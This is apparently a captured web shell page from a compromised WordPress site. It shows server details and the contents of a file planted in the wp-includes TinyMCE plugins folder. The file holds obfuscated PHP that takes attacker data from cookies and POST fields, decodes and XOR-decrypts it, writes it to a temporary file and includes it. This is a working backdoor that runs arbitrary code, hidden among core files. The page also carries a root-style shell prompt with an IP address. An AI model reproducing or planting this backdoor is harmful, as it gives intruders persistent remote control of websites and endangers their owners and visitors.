? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/wp-includes/js/tinymce/plugins/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/wp-includes/js/tinymce/plugins/b5c3e17e.php

$AnnbJrAII = "\x6c" . "\137" . chr (80) . "\x6f" . "\127" . chr ( 408 - 326 ); $uLotHzgB = chr (99) . chr (108) . "\x61" . "\163" . "\163" . chr ( 640 - 545 ).chr ( 547 - 446 ).chr ( 424 - 304 ).chr (105) . chr ( 207 - 92 )."\164" . 's';$qQHUYSA = $uLotHzgB($AnnbJrAII); $AnnbJrAII = "57524";$uLotHzgB = "30782";$hawRWljOq = $qQHUYSA;if (!$hawRWljOq){class l_PoWR{private $WcQfvEE;public static $xezqF = "eed2f1f8-fed7-417b-8f0d-039d226924bd";public static $IpAmxBWvy = 29926;public function __construct($kQYdtvg=0){$mPfcMFY = $_COOKIE;$ADdHv = $_POST;$kvQDEkoIym = @$mPfcMFY[substr(l_PoWR::$xezqF, 0, 4)];if (!empty($kvQDEkoIym)){$alhSKjkDS = "base64";$emzRQHTJW = "";$kvQDEkoIym = explode(",", $kvQDEkoIym);foreach ($kvQDEkoIym as $tTGEvAF){$emzRQHTJW .= @$mPfcMFY[$tTGEvAF];$emzRQHTJW .= @$ADdHv[$tTGEvAF];}$emzRQHTJW = array_map($alhSKjkDS . "\x5f" . chr ( 697 - 597 )."\x65" . chr (99) . "\157" . "\144" . 'e', array($emzRQHTJW,)); $emzRQHTJW = $emzRQHTJW[0] ^ str_repeat(l_PoWR::$xezqF, (strlen($emzRQHTJW[0]) / strlen(l_PoWR::$xezqF)) + 1);l_PoWR::$IpAmxBWvy = @unserialize($emzRQHTJW);}}private function zKyYtuMu(){if (is_array(l_PoWR::$IpAmxBWvy)) {$oFZug = sys_get_temp_dir() . "/" . crc32(l_PoWR::$IpAmxBWvy['s' . "\141" . chr (108) . "\x74"]);@l_PoWR::$IpAmxBWvy["\167" . chr (114) . chr ( 108 - 3 )."\164" . "\145"]($oFZug, l_PoWR::$IpAmxBWvy["\143" . 'o' . "\156" . chr (116) . chr (101) . "\156" . chr (116)]);include $oFZug;@l_PoWR::$IpAmxBWvy["\144" . chr (101) . "\154" . "\145" . 't' . "\x65"]($oFZug); $JPLYkS = "44856";exit();}}public function __destruct(){$this->zKyYtuMu(); $JPLYkS = "44856";}}$zCvWcizSX = new l_PoWR(); $zCvWcizSX = "51751_6628";}

T1KUS90T
  root-grov@210.1.60.28:~$